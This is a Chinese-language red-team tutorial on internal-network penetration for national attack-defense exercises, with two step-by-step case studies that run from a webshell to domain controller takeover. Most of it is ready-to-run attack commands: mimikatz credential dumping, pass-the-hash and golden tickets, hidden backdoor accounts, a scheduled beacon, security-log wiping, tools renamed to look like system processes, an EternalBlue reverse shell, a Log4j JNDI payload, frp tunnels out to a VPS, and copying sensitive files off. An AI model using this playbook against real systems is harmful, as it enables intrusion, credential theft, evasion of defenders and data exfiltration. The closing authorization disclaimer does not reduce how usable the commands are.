内网渗透实战:红队作战全解析
内网渗透实战指南:从技术原理到护网红队解析
作为护网红队,内网渗透是突破企业网络纵深、达成攻击目标的核心能力,也是护网行动中 “拿下大分” 的关键 —— 它区别于外网渗透的 “单点突破”,更强调 “隐蔽探测、横向移动、权限提升、持久控制” 的全链路作战。本文将从内网渗透的本质定义出发,拆解完整技术流程,结合两个实战案例(常规内网渗透 + 护网红队拿分),详解红队视角下的内网作战思路。
一、重新理解内网渗透:红队视角下的核心定义
内网渗透并非 “漫无目的扫描内网”,而是在已获取内网 “初始立足点”(如一台跳板机)后,通过信息收集、横向移动、权限提升等操作,逐步控制内网关键资产(域控、核心服务器、敏感数据库),最终达成攻击目标(如获取敏感数据、植入持久化后门)的系统性作战。
其核心特点与红队作战需求高度匹配:
- 封闭性:内网无直接公网出口,需依赖跳板机搭建隧道、转发流量;
- 多层级:内网通常按 “办公区→DMZ 区→核心业务区” 划分,需突破多道网络隔离(防火墙、ACL、VLAN);
- 隐蔽性:需避免触发蓝队告警(如控制扫描速率、清理操作日志、伪装进程);
- 目标导向:所有操作围绕 “高价值资产” 展开(护网中即 “拿分点”,如域控、财务服务器、OA 系统)。
二、内网渗透完整技术流程:红队标准化作战步骤
内网渗透需遵循 “先探测、后移动、再控制” 的逻辑,避免盲目操作暴露痕迹。以下是红队常用的标准化流程,每个步骤均包含技术选型与隐蔽性技巧:
阶段 1:巩固初始立足点(避免 “刚进来就被踢出去”)
拿到跳板机权限(如 Webshell、meterpreter 会话)后,首要任务是 “稳定控制权”,核心操作包括:
- 环境信息收集:
- 系统信息:
systeminfo
(Windows)/uname -a
(Linux),确认操作系统版本、补丁级别(判断是否有提权漏洞); - 网络信息:
ipconfig /all
(Windows)/ifconfig
(Linux)看网卡 IP,route print
(Windows)/route -n
(Linux)看路由表(定位内网网段,如 192.168.1.0/24、172.16.0.0/12); - 进程与服务:
tasklist
(Windows)/ps aux
(Linux),查看是否有 EDR(如 360 天擎、火绒)、杀毒软件,避免进程被查杀; - 凭证信息:
mimikatz
(Windows)抓取本地账号哈希(sekurlsa::logonpasswords
)、cat /etc/shadow
(Linux)看账号密码哈希,寻找可复用的凭证。
- 系统信息:
- 持久化控制:
- Windows:添加隐藏账号(
net user backdoor$ Backdoor@2024 /add
,$
符号隐藏账号)、创建计划任务(schtasks /create /tn "Update" /tr "C:\tmp\beacon.exe" /sc daily /st 03:00
,凌晨执行避免被发现); - Linux:修改
/etc/crontab
添加定时任务(* * * * * root /tmp/ssh_backdoor.sh
)、替换sshd
配置实现密钥登录(将公钥写入/root/.ssh/authorized_keys
)。
- Windows:添加隐藏账号(
- 清理痕迹:
- 删除 Webshell 上传记录(如 IIS 日志、Apache 日志);
- 清理命令执行痕迹:Windows 删除
C:\Windows\System32\winevt\Logs\Security.evtx
安全日志,Linux 清空/var/log/auth.log
登录日志; - 隐藏工具文件:将
mimikatz.exe
、fscan.exe
重命名为svchost.exe
、nginx.exe
(伪装系统进程 / 常见服务)。
阶段 2:内网信息收集(绘制 “攻击地图”)
巩固立足点后,需全面探测内网资产,明确 “攻击目标” 和 “路径”,核心工具与操作:
- 存活主机探测:
- 工具:
fscan
(内网综合扫描)、nmap
(精准扫描,需控制速率); - 命令:
fscan -h 192.168.1.0/24,172.16.0.0/16 -sP -rate 300 -o alive.txt
(仅存活探测,避免全端口扫描触发告警); - 目标:获取所有存活 IP,标记活跃网段(如 172.16.10.0/24 存活主机多,可能是核心业务区)。
- 工具:
- 端口与服务扫描:
- 工具:
fscan
、masscan
(快速全端口扫描,适合大网段); - 命令:
fscan -l alive.txt -p 22,445,3306,6379,8080 -m all -rate 200 -o port_service.txt
(仅扫高危端口,减少流量); - 重点关注服务:
- 445(SMB,可能存在 MS17-010 永恒之蓝漏洞、弱口令);
- 3306(MySQL)、6379(Redis,未授权访问 / 弱口令);
- 8080/80(Web 服务,可能存在 Log4j、Struts2 漏洞);
- 5985(WinRM,远程管理接口,弱口令可直接登录)。
- 工具:
- 域环境探测:
- 若跳板机在域内,执行
net view /domain
查看域列表,net group "Domain Controllers" /domain
找域控 IP(如 192.168.0.100); - 工具:
adfind
(域信息查询),命令adfind -h 192.168.0.100 -u domain\user -p password -f "(objectClass=user)"
获取域内所有用户。
- 若跳板机在域内,执行
- 敏感信息挖掘:
- 查看跳板机本地文件:
dir /s *.txt *.xlsx
(Windows)/find / -name "*.conf" -o -name "*.txt"
(Linux),寻找包含账号密码的配置文件(如db.conf
、backup.txt
); - 浏览器缓存:Windows 查看
C:\Users\[用户名]\AppData\Local\Google\Chrome\User Data\Default\Login Data
,提取保存的网站账号密码。
- 查看跳板机本地文件:
阶段 3:横向移动(扩大控制范围)
根据信息收集结果,选择 “易突破、高价值” 的目标主机,通过 “凭证复用”“漏洞利用” 实现横向移动,红队常用技术:
技术 1:凭证复用(最隐蔽,优先使用)
利用跳板机抓取的账号密码 / 哈希,登录其他主机,避免触发漏洞利用的告警:
-
Windows SMB 登录:
工具:
psexec
(需管理员权限)、wmiexec
(无文件执行,更隐蔽);命令:
wmiexec.exe domain/admin@192.168.1.20 "cmd.exe"
(使用域账号登录目标主机); -
Linux SSH 登录:
命令:
ssh root@172.16.10.5 -i id_rsa
(使用私钥登录,避免输入密码); -
哈希传递(Pass The Hash,PTH):
若抓取到 NTLM 哈希(如
admin:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
),用mimikatz
实现 PTH:mimikatz.exe "sekurlsa::pth /user:admin /domain:test.com /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0"
执行后会弹出新的 cmd 窗口,直接访问目标主机(如
\\192.168.1.20\c$
)。
技术 2:漏洞利用(无凭证时使用,需选低告警漏洞)
针对目标主机的已知漏洞(如 MS17-010、Log4j),利用 EXP 获取权限:
-
MS17-010(永恒之蓝):
工具:Metasploit,模块
exploit/windows/smb/ms17_010_eternalblue
;配置:
set RHOSTS 192.168.1.30
(目标 IP)、set PAYLOAD windows/x64/meterpreter/reverse_tcp
、set LHOST 10.0.0.1
(跳板机 IP),执行run
获取会话;
-
Log4j RCE(CVE-2021-44228):
工具:
log4j-scan
(漏洞检测)、JNDIExploit
(生成恶意 RMI 服务);步骤:在跳板机启动
JNDIExploit -i 10.0.0.1
,然后向目标 Web 服务发送含 Log4j payload 的请求(如${jndi:rmi://10.0.0.1:1099/Exploit}
),获取 shell。
技术 3:内网隧道(突破网段隔离)
若目标主机在其他网段(如跳板机在 192.168.1.0/24,目标在 172.16.10.0/24,无直接路由),需搭建隧道:
-
工具:frp(TCP 隧道,适合转发端口)、reGeorg(HTTP 隧道,伪装 Web 流量);
-
案例:通过跳板机搭建 frp 隧道,将内网 172.16.10.5 的 3389 端口(RDP)转发到公网 VPS 的 33890 端口:
-
公网 VPS(1.2.3.4)配置
frps.ini
:bind_port=7000
; -
跳板机配置
frpc.ini
:[common] server_addr=1.2.3.4 server_port=7000 [rdp_proxy] type=tcp local_ip=172.16.10.5 local_port=3389 remote_port=33890
-
启动 frp 后,在公网 VPS 通过
mstsc /v:1.2.3.4:33890
登录目标主机的 RDP。
-
阶段 4:权限提升(获取高权限,控制关键资产)
横向到目标主机后,若当前权限较低(如普通用户),需通过提权获取管理员 /root 权限,常用提权技术:
-
系统漏洞提权:
-
Windows:MS16-032(权限提升漏洞,适合 Win7/2008)、CVE-2021-1732(Win10 提权);
工具:
MS16-032.exe
,命令MS16-032.exe "whoami"
(执行后返回 system 权限); -
Linux:Dirty COW(CVE-2016-5195,旧内核提权)、CVE-2022-0847(Dirty Pipe,适合内核 5.8+);
工具:
dirtypipe-exp
,执行后直接获取 root 权限。
-
-
配置缺陷提权:
- Windows:可写服务(
sc qc [服务名]
查看权限,若普通用户可修改服务路径,替换为后门程序)、计划任务权限配置错误(普通用户可修改任务执行程序); - Linux:SUID 文件(
find / -perm -u=s -type f 2>/dev/null
,寻找可利用的 SUID 文件如/usr/bin/find
,执行find / -exec /bin/sh \;
获取 root)。
- Windows:可写服务(
-
域控权限获取:
-
黄金票据(Golden Ticket):若获取域内任意用户的 NTLM 哈希和域 SID,用
mimikatz
生成黄金票据,直接访问域控:
mimikatz.exe "kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt"
执行后可直接访问域控共享(
\\DC.test.com\c$
); -
白银票据(Silver Ticket):针对特定服务(如 SMB)生成票据,权限范围更小,更隐蔽。
-
阶段 5:达成目标与痕迹清理(护网中即 “提交成果”)
控制关键资产(如域控、核心数据库)后,需完成攻击目标,并清理痕迹:
- 目标达成操作:
- 数据窃取:
xcopy \\DC.test.com\c$\data\敏感数据.xlsx C:\tmp\
(Windows)、scp root@172.16.10.5:/var/db/mysql/backup.sql /tmp/
(Linux); - 植入后门:在域控部署
cobalt strike
beacon,维持长期控制; - 破坏目标(护网中禁止,仅用于红蓝对抗):删除关键配置文件、停止核心服务。
- 数据窃取:
- 全面痕迹清理:
- 清理所有工具文件(
del /f /s /q C:\tmp\*
); - 清除登录记录(Windows 删除安全日志,Linux 清空
/var/log/wtmp
); - 删除计划任务、隐藏账号(
net user backdoor$ /del
); - 恢复被修改的服务、配置文件。
- 清理所有工具文件(
三、实战案例 1:常规内网渗透(从 Webshell 到域控)
环境拓扑
- 外网 Web 服务器:103.xxx.xxx.xxx(Windows Server 2012,Weblogic 漏洞,已获取 Webshell);
- 内网跳板机:192.168.1.10(即 Web 服务器,双网卡,可访问 192.168.1.0/24 和 172.16.0.0/16);
- 内网数据库服务器:192.168.1.20(MySQL 5.7,弱口令
root/123456
); - 域控服务器:172.16.0.10(Windows Server 2016,域
test.com
); - 限制:内网防火墙仅允许 192.168.1.0/24 访问 172.16.0.0/24 的 445、3389 端口。
渗透步骤
- 初始立足点巩固:
- 通过 Weblogic 漏洞获取 Webshell,上传
meterpreter.exe
,执行后获取会话; - 用
mimikatz
抓取本地账号哈希:sekurlsa::logonpasswords
,得到admin:1001:aad3b435b51404eeaad3b435b51404ee:abcdef1234567890abcdef1234567890:::
; - 添加隐藏账号:
net user redteam$ Red@Team123 /add && net localgroup administrators redteam$ /add
。
- 通过 Weblogic 漏洞获取 Webshell,上传
- 内网信息收集:
- 执行
route print
,发现内网网段 192.168.1.0/24(直连)、172.16.0.0/16(路由可达); - 用
fscan
扫描 192.168.1.0/24:fscan -h 192.168.1.0/24 -p 3306,445 -rate 200
,发现 192.168.1.20 开放 3306 端口,弱口令root/123456
; - 扫描 172.16.0.0/16:
fscan -h 172.16.0.0/24 -sP -rate 300
,发现 172.16.0.10 存活(通过 445 端口判断为 Windows 服务器,可能是域控)。
- 执行
- 横向移动到数据库服务器:
- 用
mysql
客户端登录 192.168.1.20:mysql -h 192.168.1.20 -u root -p123456
,发现数据库中存储了域账号test\dbadmin
的密码Db@Admin2024
; - 尝试用该账号横向到 172.16.0.10(域控):
wmiexec.exe test/dbadmin@172.16.0.10 "cmd.exe"
,登录成功(dbadmin
为域管理员组成员)。
- 用
- 获取域控权限与数据窃取:
- 在域控会话中执行
whoami
,确认权限为test\dbadmin
(管理员权限); - 抓取域控哈希:
mimikatz.exe "sekurlsa::logonpasswords"
,获取域管理员Administrator
的 NTLM 哈希; - 窃取域内用户列表:
adfind -h 172.16.0.10 -u test\dbadmin -p Db@Admin2024 -f "(objectClass=user)" > C:\tmp\domain_users.txt
; - 通过
xcopy C:\tmp\domain_users.txt \\192.168.1.10\c$\tmp\
将文件传回跳板机,再通过 Webshell 下载到本地。
- 在域控会话中执行
- 痕迹清理:
- 删除域控上的
mimikatz.exe
、fscan.exe
; - 清空跳板机和域控的安全日志:
wevtutil cl Security
; - 删除隐藏账号
redteam$
:net user redteam$ /del
。
- 删除域控上的
四、实战案例 2:护网红队拿分(精准打击关键资产)
护网行动的核心是 “找到高价值目标,挖掘高危漏洞,提交有效攻击路径”,拿分点主要包括:域控权限、核心业务系统漏洞(0day/1day)、敏感数据窃取、内网横向路径证明。以下是护网实战案例:
护网环境背景
- 目标单位:某金融企业,内网分 “办公区(192.168.2.0/24)、DMZ 区(172.18.0.0/24)、核心区(10.0.0.0/24)”;
- 护网规则:禁止破坏业务、禁止植入破坏性后门,需提交 “漏洞证明 + 攻击路径文档 + 关键截图”;
- 初始条件:已通过 DMZ 区 Web 服务器(172.18.0.5)的 Log4j 漏洞获取 Webshell(初始立足点)。
拿分策略与执行步骤
目标 1:发现核心区未打补丁的高危漏洞(拿分点:高危漏洞利用)
- 信息收集:
- 跳板机(172.18.0.5)执行
route print
,发现核心区 10.0.0.0/24 仅允许 DMZ 区通过 8080 端口访问(防火墙 ACL 限制); - 用
fscan
扫描 10.0.0.0/24 的 8080 端口:fscan -h 10.0.0.0/24 -p 8080 -rate 100
,发现 10.0.0.10(核心交易系统)开放 8080 端口,运行 Tomcat 8.5.59(存在 CVE-2020-1938 幽灵猫漏洞,高危)。
- 跳板机(172.18.0.5)执行
- 漏洞验证与拿分:
- 利用
Ghostcat-Exploit
工具验证漏洞:python ghostcat.py 10.0.0.10 8080 /WEB-INF/web.xml
,成功读取配置文件(证明漏洞存在); - 提交材料:漏洞截图(读取到的
web.xml
内容)、EXP 代码
- 利用
目标 2:获取域控权限(拿分点:域控控制)
- 横向路径挖掘:
- 从跳板机(172.18.0.5)扫描办公区 192.168.2.0/24:
fscan -h 192.168.2.0/24 -p 5985 -rate 200
,发现 192.168.2.20 开放 WinRM(5985 端口); - 尝试用 DMZ 区 Web 服务器的本地账号
iis_app
横向,失败;转而查看跳板机的C:\inetpub\wwwroot\config\db.conf
,发现数据库账号test\sqladmin
,密码Sql@Admin2024
。
- 从跳板机(172.18.0.5)扫描办公区 192.168.2.0/24:
- 利用数据库账号横向到办公区:
- 用
evil-winrm
登录 192.168.2.20:evil-winrm -u sqladmin -p Sql@Admin2024 -i 192.168.2.20
,登录成功(sqladmin
为域用户,属于 “远程管理用户组”); - 在 192.168.2.20 上执行
net group "Domain Controllers" /domain
,确认域控 IP 为 10.0.0.1(核心区)。
- 用
- 突破核心区隔离,获取域控权限:
- 发现 192.168.2.20 可通过 RDP(3389 端口)访问 10.0.0.1(域控),搭建 frp 隧道转发 3389 端口:
- 跳板机(172.18.0.5)配置
frpc.ini
,将 10.0.0.1 的 3389 转发到公网 VPS 的 33891 端口;
- 跳板机(172.18.0.5)配置
- 通过 RDP 登录域控:
mstsc /v:VPS_IP:33891
,使用sqladmin
账号登录(sqladmin
被赋予域控远程登录权限); - 执行
whoami /groups
,确认属于Domain Admins
组,获取域控权限。
- 发现 192.168.2.20 可通过 RDP(3389 端口)访问 10.0.0.1(域控),搭建 frp 隧道转发 3389 端口:
- 提交拿分材料:
- 攻击路径文档:
DMZ区Web服务器(Log4j漏洞)→ 办公区192.168.2.20(WinRM,sqladmin账号)→ 核心区域控10.0.0.1(RDP)
; - 证明截图:域控桌面
whoami
命令截图(显示test\sqladmin
,Domain Admins
组)、域控C:\Windows\system32\config\SAM
文件访问截图(证明管理员权限);
- 攻击路径文档:
目标 3:敏感数据窃取(拿分点:核心数据获取)
- 定位敏感数据:
- 在域控上查看共享文件夹:
net view \\10.0.0.1
,发现\\10.0.0.1\finance
(财务共享,仅域管理员可访问); - 浏览该文件夹,发现
2024年Q1财务报表.xlsx
(包含企业营收、成本等敏感数据)。
- 在域控上查看共享文件夹:
- 获取与提交证明:
- 复制文件到跳板机:
xcopy \\10.0.0.1\finance\2024年Q1财务报表.xlsx C:\tmp\
; - 提交材料:文件截图(显示报表内容)、文件 MD5 值(证明文件完整性);
- 复制文件到跳板机:
护网拿分关键总结
- 精准定位高价值目标:优先攻击域控、核心业务系统(如财务、交易系统),这些目标分值高(通常 20-30 分),且攻击路径清晰;
- 选择低告警漏洞:优先使用凭证复用、配置缺陷(如弱口令、权限错误),避免使用爆发性漏洞(如永恒之蓝),减少被蓝队发现的概率;
- 完整提交证明材料:攻击路径文档需清晰(每一步的工具、命令、结果),截图需包含关键信息(如 IP、权限、文件内容),避免因证明不足扣分;
- 控制攻击影响:严格遵守护网规则,不删除业务数据、不停止核心服务,仅获取权限和证明,避免被判定为 “破坏性攻击”。
五、红队内网渗透核心思维与护网建议
- 隐蔽性优先:所有操作需考虑 “是否会触发告警”—— 如控制扫描速率(<300 包 / 秒)、用无文件攻击(如 WMI、PowerShell Empire)、伪装进程(重命名工具为系统服务名);
- 凭证为王:内网中 80% 的横向移动可通过凭证复用实现(比漏洞利用更隐蔽、更稳定),需优先收集账号密码、哈希、票据;
- 路径规划:避免 “一条路走到黑”,若某目标无法突破,及时切换网段或目标(如从办公区绕到 DMZ 区,再到核心区);
- 护网心态:护网不是 “炫技”,而是 “高效拿分”—— 优先完成高分值目标,再处理低分值漏洞,避免因细节浪费时间。
总结
内网渗透是红队工程师的核心能力,其本质是 “在封闭网络中寻找突破点,逐步扩大控制范围,最终达成目标”。无论是常规渗透还是护网行动,都需遵循 “信息收集→横向移动→权限提升→目标达成” 的逻辑,同时兼顾隐蔽性与效率。在护网中,更需聚焦 “高价值目标” 和 “完整证明材料”,才能拿下高分,体现红队价值。
最后必须强调:所有渗透测试操作需获得书面授权,严禁用于未授权攻击,遵守《网络安全法》及相关法规,这是红队工程师的职业底线。